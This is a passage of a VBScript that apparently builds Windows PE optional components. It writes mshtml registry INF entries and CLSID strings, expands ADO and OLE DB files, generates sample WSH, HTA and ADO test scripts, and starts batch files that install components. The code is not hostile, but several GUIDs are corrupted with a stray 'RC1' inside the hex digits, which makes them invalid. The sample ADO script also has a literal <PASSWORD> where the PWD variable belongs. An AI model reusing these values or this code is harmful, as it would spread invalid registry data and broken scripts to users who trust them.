FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/x-component"",""CLSID"",,""%CLSID_CHtmlComponentConstructor%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/x-component"",""Extension"",,"".htc""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/x-scriptlet"",""CLSID"",,""%CLSID_Scriptlet%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-icon"",""CLSID"",,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-icon"",""Extension"",,"".ico""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-icon"",""Image Filter CLSID"",,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("[Misc.Inst]")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\AboutURLs"",""blank"",2,""res://mshtml.dll/blank.htm""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\AboutURLs"",""PostNotCached"",2,""res://mshtml.dll/repost.htm""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\AboutURLs"",""mozilla"",2,""res://mshtml.dll/about.moz""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\Default Behaviors"",""VML"",, ""CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\Default Behaviors"",""TIME"",, ""CLSID:476C391C-3E0D-11D2-B948-00C04FA32195""")
FILE.WriteLine("[BaseDel.Reg]")
FILE.WriteLine("HKCR,""htmlfile\DocObject""")
FILE.WriteLine("HKCR,""htmlfile\Protocol""")
FILE.WriteLine("HKCR,""htmlfile\Insertable""")
FILE.WriteLine("HKLM,""Software\Classes\htmlfile\DocObject""")
FILE.WriteLine("HKLM,""Software\Classes\htmlfile\Protocol""")
FILE.WriteLine("HKLM,""Software\Classes\htmlfile\Insertable""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\DocObject""")
FILE.WriteLine("HKCR,""CLSID\%CLSID_HTMLDocument%\Insertable""")
FILE.WriteLine("[BaseDel.Inst]")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\PageSetup"",""header_left"",2,""&w""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\PageSetup"",""header_right"",2,""Page &p of &P""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\PageSetup"",""footer_left"",2,""&u%""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\PageSetup"",""footer_right"",2,""&d""")
FILE.WriteLine("[IE3TypeLib]")
FILE.WriteLine("HKCR, ""TypeLib\{3E76DB61-6F74-11CF-8F20-00805F2CD064}""")
FILE.WriteLine("[mshtmlwbTypeLib]")
FILE.WriteLine("HKCR, ""TypeLib\{AE24FDA0-03C6-11D1-8B76-0080C744F389}""")
FILE.WriteLine("[Strings]")
FILE.WriteLine("CLSID_CBackgroundPropertyPage = ""{3050F232-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_CCDAnchorPropertyPage = ""{3050F1FC-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_CCDGenericPropertyPage = ""{3050F17F-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_CDwnBindInfo = ""{3050F3C2-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_CInlineStylePropertyPage = ""{3050F296-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_HTMLDocument = ""{25336920-03F9-11cf-8FD0-00AA00686F13}""")
FILE.WriteLine("CLSID_Scriptlet = ""{AE24FDAE-03C6-11D1-8B76-0080C744F389}""")
FILE.WriteLine("CLSID_HTADocument = ""{3050F5C8-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_MHTMLDocument = ""{3050F3D9-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_HTMLPluginDocument = ""{25336921-03F9-11CF-8FD0-00AA00686F13}""")
FILE.WriteLine("CLSID_HTMLWindowProxy = ""{3050F391-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_IImgCtx = ""{3050F3D6-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_JSProtocol = ""{3050F3RC1-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_ResProtocol = ""{3050F3BC-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_AboutProtocol = ""{3050F406-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_MailtoProtocol = ""{3050f3DA-98B5-11CF-BB82-00AA00BDCE0B}""")
FILE.WriteLine("CLSID_SysimageProtocol = ""{76E67A63-06E9-11D2-A840-006008059382}""")
FILE.WriteLine("CLSID_HTMLLoadOptions = ""{18845040-0fa5-11d1-ba19-00c04fd912d0}""")
FILE.WriteLine("CLSID_CRecalcEngine = ""{3050f499-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_HTMLServerDoc = ""{3050f4e7-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_CrSource = ""{65014010-9F62-11d1-A651-00600811D5CE}""")
FILE.WriteLine("CLSID_TridentAPI = ""{429AF92C-A51F-11d2-861E-00C04FA35C89}""")
FILE.WriteLine("CLSID_CCSSFilterHandler = ""{5AAF51B1-B1F0-11d1-B6AB-00A0C90833E9}""")
FILE.WriteLine("CLSID_CPeerHandler = ""{5AAF51RC1-B1F0-11d1-B6AB-00A0C90833E9}""")
FILE.WriteLine("CLSID_CHiFiUses = ""{5AAF51B3-B1F0-11d1-B6AB-00A0C90833E9}""")
FILE.WriteLine("CLSID_CSvrOMUses = ""{3050f4f0-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_CPersistShortcut = ""{3050f4c6-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_CPersistHistory = ""{3050f4c8-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_CPersistSnapshot = ""{3050f4c9-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_VivoViewer = ""{02466323-75ed-11cf-a267-0020af2546ea}""")
FILE.WriteLine("CLSID_MSInvestorNews = ""{025B1052-CB0B-11CF-A071-00A0C9A06E05}""")
FILE.WriteLine("CLSID_ActiveMovie = ""{05589fa1-c356-11ce-bf01-00aa0055595a}""")
FILE.WriteLine("CLSID_Plugin = ""{06DD38D3-D187-11CF-A80D-00C04FD74AD8}""")
FILE.WriteLine("CLSID_AppletOCX = ""{08B0e5c0-4FCB-11CF-AAA5-00401C608501}""")
FILE.WriteLine("CLSID_SaxCanvas = ""{1DF67C43-AEAA-11CF-BA92-444553540000}""")
FILE.WriteLine("CLSID_MediaPlayer = ""{22D6F312-B0F6-11D0-94AB-0080C74C7E95}""")
FILE.WriteLine("CLSID_CitrixWinframe = ""{238f6f83-b8b4-11cf-8771-00a024541ee3}""")
FILE.WriteLine("CLSID_GregConsDieRoll = ""{46646B43-EA16-11CF-870C-00201801DDD6}""")
FILE.WriteLine("CLSID_VActive = ""{5A20858B-000D-11D0-8C01-444553540000}""")
FILE.WriteLine("CLSID_IEMenu = ""{7823A620-9DD9-11CF-A662-00AA00C066D2}""")
FILE.WriteLine("CLSID_WebBrowser = ""{8856F961-340A-11D0-A96B-00C04FD705A2}""")
FILE.WriteLine("CLSID_Forms3Optionbutton = ""{8BD21D50-EC42-11CE-9E0D-00AA006002F3}""")
FILE.WriteLine("CLSID_SurroundVideo = ""{928626A3-6B98-11CF-90B4-00AA00A4011F}""")
FILE.WriteLine("CLSID_SheridanCommand = ""{AAD093RC1-F9CA-11CF-9C85-0000C09300C4}""")
FILE.WriteLine("CLSID_MCSITree = ""{B3F8F451-788A-11D0-89D9-00A0C90C9B67}""")
FILE.WriteLine("CLSID_MSTreeView = ""{B9D029D3-CDE3-11CF-855E-00A0C908FAF9}""")
FILE.WriteLine("CLSID_Acrobat = ""{CA8A9780-280D-11CF-A24D-444553540000}""")
FILE.WriteLine("CLSID_MSInvestor = ""{D2F97240-C9F4-11CF-BFC4-00A0C90C2BDB}""")
FILE.WriteLine("CLSID_PowerPointAnimator = ""{EFBD14F0-6BFB-11CF-9177-00805F8813FF}""")
FILE.WriteLine("CLSID_IISForm = ""{812AE312-8B8E-11CF-93C8-00AA00C08FDF}""")
FILE.WriteLine("CLSID_IntDitherer = ""{05f6fe1a-ecef-11d0-aae7-00c04fc9b304}""")
FILE.WriteLine("CLSID_NCompassBillboard = ""{6059B947-EC52-11CF-B509-00A024488F73}""")
FILE.WriteLine("CLSID_NCompassLightboard = ""{RC1F87B84-26A6-11D0-B50A-00A024488F73}""")
FILE.WriteLine("CLSID_ProtoviewTreeView = ""{RC183E214-2CB3-11D0-ADA6-00400520799C}""")
FILE.WriteLine("CLSID_ActiveEarthTime = ""{9590092D-8811-11CF-8075-444553540000}""")
FILE.WriteLine("CLSID_LeadControl = ""{00080000-B1BA-11CE-ABC6-F5RC1E79D9E3F}""")
FILE.WriteLine("CLSID_TextX = ""{5B84FC03-E639-11CF-B8A0-00A024186BF1}""")
FILE.WriteLine("CLSID_GreetingsUpload = ""{03405265-b4e2-11d0-8a77-00aa00a4fbc5}""")
FILE.WriteLine("CLSID_GreetingsDownload = ""{03405269-b4e2-11d0-8a77-00aa00a4fbc5}""")
FILE.WriteLine("CLSID_COMCTLTree = ""{0713E8A2-850A-101B-AFC0-4210102A8DA7}""")
FILE.WriteLine("CLSID_COMCTLProg = ""{0713E8D2-850A-101B-AFC0-4210102A8DA7}""")
FILE.WriteLine("CLSID_COMCTLListview = ""{58DA8D8A-9D6A-101B-AFC0-4210102A8DA7}""")
FILE.WriteLine("CLSID_COMCTLImageList = ""{58DA8D8F-9D6A-101B-AFC0-4210102A8DA7}""")
FILE.WriteLine("CLSID_COMCTLSbar = ""{6B7E638F-850A-101B-AFC0-4210102A8DA7}""")
FILE.WriteLine("CLSID_MCSIMenu = ""{275E2FE0-7486-11D0-89D6-00A0C90C9B67}""")
FILE.WriteLine("CLSID_MSNVer = ""{A123D693-256A-11d0-9DFE-00C04FD7BF41}""")
FILE.WriteLine("CLSID_RichTextCtrl = ""{3B7C8860-D78F-101B-B9B5-04021C009402}""")
FILE.WriteLine("CLSID_IETimer = ""{59CCB4A0-727D-11CF-AC36-00AA00A47DD2}""")
FILE.WriteLine("CLSID_SubScr = ""{78A9RC12E-E0F4-11D0-B5DA-00C0F00AD7F8}""")
FILE.WriteLine("CLSID_IImageDecodeFilter = ""{607fd4e8-0a03-11d1-ab1d-00c04fc9b304}""")
FILE.WriteLine("CLSID_OldXsl = ""{2BD0D2F2-52EC-11D1-8C69-0E16BC000000}""")
FILE.WriteLine("CLSID_MMC = ""{D306C3B7-2AD5-11D1-9E9A-00805F200005}""")
FILE.WriteLine("CLSID_MacromediaSwFlash = ""{D27CDB6E-AE6D-11cf-96B8-444553540000}""")
FILE.WriteLine("CLSID_CHtmlComponentConstructor = ""{3050f4f8-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_CAnchorBrowsePropertyPage = ""{3050f3BB-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_CImageBrowsePropertyPage = ""{3050f3B3-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_CDocBrowsePropertyPage = ""{3050f3B4-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_IE4ShellFolderIcon = ""{E5DF9D10-3B52-11D1-83E8-00A0C90DC849}""")
FILE.WriteLine("CLSID_IE4ShellPieChart = ""{1D2B4F40-1F10-11D1-9E88-00C04FDCAB92}""")
FILE.WriteLine("CLSID_RealAudio = ""{CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA}""")
FILE.WriteLine("CLSID_WebCalc = ""{0002E510-0000-0000-C000-000000000046}""")
FILE.WriteLine("CLSID_AnswerList = ""{8F2C1D40-C3CD-11D1-A08F-006097BD9970}""")
FILE.WriteLine("CLSID_PreLoader = ""{16E349E0-702C-11CF-A3A9-00A0C9034920}""")
FILE.WriteLine("CLSID_HTMLPopup = ""{3050f667-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_HTMLPopupDoc = ""{3050f67D-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_EyeDog = ""{06A7EC63-4E21-11D0-A112-00A0C90543AA}""")
FILE.WriteLine("CLSID_ImgAdmin = ""{009541A0-3B81-101C-92F3-040224009C02}""")
FILE.WriteLine("CLSID_ImgThumb = ""{E1A6B8A0-3603-101C-AC6E-040224009C02}""")
FILE.WriteLine("CLSID_HHOpen = ""{130D7743-5F5A-11D1-B676-00A0C9697233}""")
FILE.WriteLine("CLSID_RegWiz = ""{50E5E3D1-C07E-11D0-B9FD-00A0249F6B00}""")
FILE.WriteLine("CLSID_SetupCtl = ""{F72A7B0E-0DD8-11D1-BD6E-00AA00B92AF1}""")
FILE.WriteLine("CLSID_ImgEdit = ""{6D940280-9F11-11CE-83FD-02608C3EC08A}""")
FILE.WriteLine("CLSID_ImgEdit2 = ""{6D940285-9F11-11CE-83FD-02608C3EC08A}""")
FILE.WriteLine("CLSID_ImgScan = ""{84926CA0-2941-101C-816F-0E6013114B7F}""")
FILE.WriteLine("CLSID_ExternalFrameworkSite = ""{3050f163-98b5-11cf-bb82-00aa00bdce0b}""")
FILE.WriteLine("CLSID_IELabel = ""{99B42120-6EC7-11CF-A6C7-00AA00A47DD2}""")
FILE.WriteLine("CLSID_HomePubRender = ""{96B9602E-BD20-11D2-AC89-00C04F7989D6}""")
FILE.WriteLine("CLSID_MGIPhotoSuiteBtn = ""{4FA211A0-FD53-11D2-ACB6-0080C877D9B9}""")
FILE.WriteLine("CLSID_MGIPhotoSuiteSlider = ""{105C7D20-FE19-11D2-ACB6-0080C877D9B9}""")
FILE.WriteLine("CLSID_MGIPrintShopSlider = ""{7B9379D2-E1E4-11D0-8444-00401C6075AA}""")
FILE.WriteLine("CLSID_RunLocExe = ""{73822330-B759-11D0-9E3D-00A0C911C819}""")
FILE.WriteLine("CLSID_Launchit2 = ""{B75FEF72-0C54-11D2-B14E-00C04FB9358B}""")
FILE.WriteLine("CLSID_MS_MSHTA = ""{3050f4d8-98b5-11cf-BB82-00AA00BDCE0B}""")
FILE.WriteLine("REG_EXPAND_SZ = 0x00020000")
FILE.WriteLine("REG_SZ_NOCLOBBER = 0x00000002")
FILE.WriteLine("REG_COMPAT = 0x00010001")
FILE.WriteLine("HEADER = ""&w&bPage &p of &P""")
FILE.WriteLine("FOOTER = ""&u&b&d""")
FILE.WriteLine("DEFAULT_IEPROPFONTNAME = ""Times New Roman""")
FILE.WriteLine("DEFAULT_IEFIXEDFONTNAME = ""Courier New""")
FILE.WriteLine("UNIVERSAL_ALPHABET = ""Universal Alphabet""")
FILE.WriteLine("CENTRAL_EUROPEAN = ""Central European""")
FILE.WriteLine("CYRILLIC = ""Cyrillic""")
FILE.WriteLine("WESTERN = ""Western""")
FILE.WriteLine("GREEK = ""Greek""")
FILE.WriteLine("JPEG_IMAGE = ""JPEG Image""")
FILE.WriteLine("GIF_IMAGE = ""GIF Image""")
FILE.WriteLine("XBM_IMAGE = ""XBM Image""")
FILE.WriteLine("PNG_IMAGE = ""PNG Image""")
FILE.WriteLine("EngineMissing = ""SETUPAPI.DLL is missing on this machine.""")
FILE.WriteLine("_MOD_PATH=""c:\windows\system32\mshtml.dll""")
FILE.WriteLine("_SYS_MOD_PATH=""%SystemRoot%\system32\mshtml.dll""")
FILE.WriteLine("IEXPLORE=""C:\Program Files\Internet Explorer\iexplore.exe""")
FILE.WriteLine("[End]")
FILE.Close
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----SHELL OUT THE EXPANSION OF core ADO Files. (EXE, TLB, DLL, OCX)
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF makeADO = 1 THEN
WshShell.Run strCMDExpand&"msado20.tl_"&strCMDado&"msado20.tlb""", 0, FALSE
WshShell.Run strCMDExpand&"msado21.tl_"&strCMDado&"msado21.tlb""", 0, FALSE
WshShell.Run strCMDExpand&"msado25.tl_"&strCMDado&"msado25.tlb""", 0, FALSE
WshShell.Run strCMDExpand&"msjro.dl_"&strCMDado&"msjro.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msado26.tl_"&strCMDado&"msado26.tlb""", 0, FALSE
WshShell.Run strCMDExpand&"msader15.dl_"&strCMDado&"msader15.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msado15.dl_"&strCMDado&"msado15.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadomd.dl_"&strCMDado&"msadomd.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msador15.dl_"&strCMDado&"msador15.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadoX.dl_"&strCMDado&"msadoX.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadrh15.dl_"&strCMDado&"msadrh15.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadce.dl_"&strCMDmsadc&"msadce.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadcer.dl_"&strCMDmsadc&"msadcer.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadcf.dl_"&strCMDmsadc&"msadcf.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadcfr.dl_"&strCMDmsadc&"msadcfr.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadco.dl_"&strCMDmsadc&"msadco.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadcor.dl_"&strCMDmsadc&"msadcor.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadcs.dl_"&strCMDmsadc&"msadcs.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msadds.dl_"&strCMDmsadc&"msadds.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msaddsr.dl_"&strCMDmsadc&"msaddsr.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdarem.dl_"&strCMDmsadc&"msdarem.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdaremr.dl_"&strCMDmsadc&"msdaremr.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdfmap.dl_"&strCMDmsadc&"msdfmap.dll""", 0, FALSE
WshShell.Run strCMDExpand&"sqloledb.rl_"&strCMDOle_db&"sqloledb.rll""", 0, FALSE
WshShell.Run strCMDExpand&"sqlxmlx.rl_"&strCMDOle_db&"sqlxmlx.rll""", 0, FALSE
WshShell.Run strCMDExpand&"msdadc.dl_"&strCMDOle_db&"msdadc.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdaenum.dl_"&strCMDOle_db&"msdaenum.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdaer.dl_"&strCMDOle_db&"msdaer.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdaora.dl_"&strCMDOle_db&"msdaora.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdaorar.dl_"&strCMDOle_db&"msdaorar.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdaosp.dl_"&strCMDOle_db&"msdaosp.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdasc.dl_"&strCMDOle_db&"msdasc.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdasql.dl_"&strCMDOle_db&"msdasql.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdasqlr.dl_"&strCMDOle_db&"msdasqlr.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdatl3.dl_"&strCMDOle_db&"msdatl3.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdatt.dl_"&strCMDOle_db&"msdatt.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdaurl.dl_"&strCMDOle_db&"msdaurl.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msxactps.dl_"&strCMDOle_db&"msxactps.dll""", 0, FALSE
WshShell.Run strCMDExpand&"oledb32.dl_"&strCMDOle_db&"oledb32.dll""", 0, FALSE
WshShell.Run strCMDExpand&"oledb32r.dl_"&strCMDOle_db&"oledb32r.dll""", 0, FALSE
WshShell.Run strCMDExpand&"sqloledb.dl_"&strCMDOle_db&"sqloledb.dll""", 0, FALSE
WshShell.Run strCMDExpand&"sqlxmlx.dl_"&strCMDOle_db&"sqlxmlx.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdatsrc.tl_"&strCMDMid&"msdatsrc.tlb""", 0, FALSE
WshShell.Run strCMDExpand&"cliconfg.ex_"&strCMDMid&"cliconfg.exe""", 0, FALSE
WshShell.Run strCMDExpand&"cliconfg.rl_"&strCMDMid&"cliconfg.rll""", 0, FALSE
WshShell.Run strCMDExpand&"sqlsrv32.rl_"&strCMDMid&"sqlsrv32.rll""", 0, FALSE
WshShell.Run strCMDExpand&"cliconfg.dl_"&strCMDMid&"cliconfg.dll""", 0, FALSE
WshShell.Run strCMDExpand&"dbmsadsn.dl_"&strCMDMid&"dbmsadsn.dll""", 0, FALSE
WshShell.Run strCMDExpand&"dbmsrpcn.dl_"&strCMDMid&"dbmsrpcn.dll""", 0, FALSE
WshShell.Run strCMDExpand&"dbnetlib.dl_"&strCMDMid&"dbnetlib.dll""", 0, FALSE
WshShell.Run strCMDExpand&"dbnmpntw.dl_"&strCMDMid&"dbnmpntw.dll""", 0, FALSE
WshShell.Run strCMDExpand&"ds32gt.dl_"&strCMDMid&"ds32gt.dll""", 0, FALSE
WshShell.Run strCMDExpand&"mscpx32r.dl_"&strCMDMid&"mscpx32r.dll""", 0, FALSE
WshShell.Run strCMDExpand&"mscpxl32.dl_"&strCMDMid&"mscpxl32.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msdart.dl_"&strCMDMid&"msdart.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msorc32r.dl_"&strCMDMid&"msorc32r.dll""", 0, FALSE
WshShell.Run strCMDExpand&"msorcl32.dl_"&strCMDMid&"msorcl32.dll""", 0, FALSE
WshShell.Run strCMDExpand&"odbcbcp.dl_"&strCMDMid&"odbcbcp.dll""", 0, FALSE
WshShell.Run strCMDExpand&"sqlsrv32.dl_"&strCMDMid&"sqlsrv32.dll""", 0, FALSE
WshShell.Run strCMDExpand&"sqlunirl.dl_"&strCMDMid&"sqlunirl.dll""", 0, FALSE
WshShell.Run strCMDExpand&"12520437.cp_"&strCMDMid&"12520437.cpx""", 0, FALSE
WshShell.Run strCMDExpand&"12520850.cp_"&strCMDMid&"12520850.cpx""", 0, FALSE
WshShell.Run strCMDExpand&"ds16gt.dl_"&strCMDMid&"ds16gt.dll""", 0, FALSE
WshShell.Run strCMDExpand&"instcat.sq_"&strCMDMid&"instcat.sql""", 0, FALSE
WshShell.Run strCMDExpand&"expsrv.dl_"&strCMDMid&"expsrv.dll""", 0, FALSE
WshShell.Run strCMDExpand&"vbajet32.dl_"&strCMDMid&"vbajet32.dll""", 0, FALSE
WshShell.Run strCMDExpand&"CLBCATQ.DL_"&strCMDMid&"CLBCATQ.DLL""", 0, FALSE
WshShell.Run strCMDExpand&"colbact.DL_"&strCMDMid&"colbact.DLL""", 0, FALSE
WshShell.Run strCMDExpand&"COMRes.dl_"&strCMDMid&"COMRes.dll""", 0, FALSE
WshShell.Run strCMDExpand&"comsvcs.dl_"&strCMDMid&"comsvcs.dll""", 0, FALSE
WshShell.Run strCMDExpand&"DBmsLPCn.dl_"&strCMDMid&"DBmsLPCn.dll""", 0, FALSE
WshShell.Run strCMDExpand&"MSCTF.dl_"&strCMDMid&"MSCTF.dll""", 0, FALSE
WshShell.Run strCMDExpand&"mslbui.dl_"&strCMDMid&"mslbui.dll""", 0, FALSE
WshShell.Run strCMDExpand&"MTXCLU.DL_"&strCMDMid&"MTXCLU.DLL""", 0, FALSE
WshShell.Run strCMDExpand&"RESUTILS.DL_"&strCMDMid&"RESUTILS.DLL""", 0, FALSE
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----CREATE THE SAMPLE WSH SCRIPT .
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF makeWSH = 1 THEN
SET FILE = fso.CreateTextFile(strDestFolder&"\Samples\testWSH.vbs", True)
FILE.WriteLine("MsgBox ""Welcome to Windows PE.""&vbCrLF&vbCrLF&""WSH support is functioning."", vbInformation, ""WSH support is functioning.""")
FILE.Close
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----CREATE THE SAMPLE HTA SCRIPT .
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF makeHTA = 1 THEN
SET FILE = fso.CreateTextFile(strDestFolder&"\Samples\testHTA.hta", True)
FILE.WriteLine ("<HTML>")
FILE.WriteLine (" <HEAD>")
FILE.WriteLine (" <TITLE>HTA support is functioning</TITLE>")
FILE.WriteLine (" <HTA:APPLICATION ")
FILE.WriteLine (" WINDOWSTATE=""maximize""")
FILE.WriteLine (" BORDER=""none""")
FILE.WriteLine (" INNERBORDER=""no""")
FILE.WriteLine (" SHOWINTASKBAR=""no""")
FILE.WriteLine (" SCROLL=""no""")
FILE.WriteLine (" APPLICATIONNAME=""HTA Verification""")
FILE.WriteLine (" NAVIGABLE=""yes"">")
FILE.WriteLine (" </HEAD>")
FILE.WriteLine ("<BODY BGCOLOR=""FFFFFF"">")
FILE.WriteLine ("<DIV STYLE=""position:relative;left:90;top:140;width:80%;"">")
FILE.WriteLine ("<FONT COLOR=""Gray"" FACE=""Tahoma"">")
FILE.WriteLine ("<H2>Welcome to Windows PE.</H2>")
FILE.WriteLine ("HTA support is functioning.")
FILE.WriteLine ("</FONT>")
FILE.WriteLine ("<BR><BR>")
FILE.WriteLine ("<BUTTON ACCESSKEY=""C"" STYLE=""font-face:Tahoma;font-size:13px;"" onclick=""self.close()""><U>C</U>lose</BUTTON>")
FILE.WriteLine ("</DIV>")
FILE.WriteLine (" </BODY>")
FILE.WriteLine (" </HTML>")
FILE.Close
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----CREATE THE SAMPLE ADO/WSH SCRIPT .
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
IF makeADO = 1 THEN
SET FILE = fso.CreateTextFile(strDestFolder&"\Samples\testADO.vbs", True)
FILE.WriteLine ("set objDBConnection = Wscript.CreateObject(""ADODB.Connection"")")
FILE.WriteLine ("set RS = Wscript.CreateObject(""ADODB.Recordset"")")
FILE.WriteLine ("")
FILE.WriteLine ("SERVER = InputBox(""Enter the name of the Microsoft SQL Server (SQL Server 7.0 or SQL Server 2000) you wish to connect to""&vbcrlf&vbcrlf&""This SQL Server must have the Northwind sample database installed."", ""Connect to SQL Server..."")")
FILE.WriteLine ("IF LEN(TRIM(SERVER)) = 0 THEN")
FILE.WriteLine (" MsgBox ""You did not enter the name of a machine to query. Exiting script."", vbCritical, ""No machine requested.""")
FILE.WriteLine (" WScript.Quit")
FILE.WriteLine ("END IF")
FILE.WriteLine ("")
FILE.WriteLine ("USERNAME = InputBox(""Enter the name of the SQL Server username to query with"", ""Enter SQL username..."")")
FILE.WriteLine ("IF LEN(TRIM(USERNAME)) = 0 THEN")
FILE.WriteLine (" MsgBox ""You did not enter the SQL Server username to query with. Exiting script."", vbCritical, ""No username specified.""")
FILE.WriteLine (" WScript.Quit")
FILE.WriteLine ("END IF")
FILE.WriteLine ("")
FILE.WriteLine ("PWD = InputBox(""Enter the password of the SQL Server you wish to connect to""&vbcrlf&vbcrlf&""Leave blank if no password is needed."", ""Enter SQL password..."")")
FILE.WriteLine ("")
FILE.WriteLine ("")
FILE.WriteLine ("SQLQuery1 =""SELECT Employees.FirstName AS FirstName, Employees.City AS City FROM Employees WHERE Employees.Lastname = 'Suyama'""")
FILE.WriteLine ("objDBConnection.open ""Provider=SQLOLEDB;Data Source=""&SERVER&"";Initial Catalog=Northwind;User ID=""&USERNAME&"";Password=""&<PASSWORD>&"";""")
FILE.WriteLine ("")
FILE.WriteLine ("Set GetRS = objDBConnection.Execute(SQLQuery1)")
FILE.WriteLine ("")
FILE.WriteLine ("IF GetRS.EOF THEN")
FILE.WriteLine (" MsgBox ""No employees were found with the last name you searched on!""")
FILE.WriteLine ("ELSE")
FILE.WriteLine (" Do While Not GetRS.EOF")
FILE.WriteLine (" MsgBox ""There is an employee in ""&GetRS(""City"")&"" named ""&GetRS(""FirstName"")&"" with the last name you searched on.""")
FILE.WriteLine (" GetRS.MoveNext")
FILE.WriteLine (" Loop")
FILE.WriteLine ("END IF")
FILE.Close
END IF
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
'-----CREATE the BATS THAT WILL INSTALL THE OPTIONAL COMPONENTS
''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
SET FILE = fso.CreateTextFile(strDestFolder&"\"&iArchDir&"\System32\OC.bat", True)
FILE.WriteLine ("@ECHO OFF")
FILE.WriteLine ("START ""Installing Components"" /MIN OC2.bat")
FILE.Close
SET FILE = fso.CreateTextFile(strDestFolder&"\"&iArchDir&"\System32\OC2.bat", True)
IF makeWSH = 1 THEN
FILE.WriteLine ("")
FILE.WriteLine ("REM - This section initializes WSH")
FILE.WriteLine ("")
FILE.WriteLine ("REM - INSTALL WSH COMPONENTS")
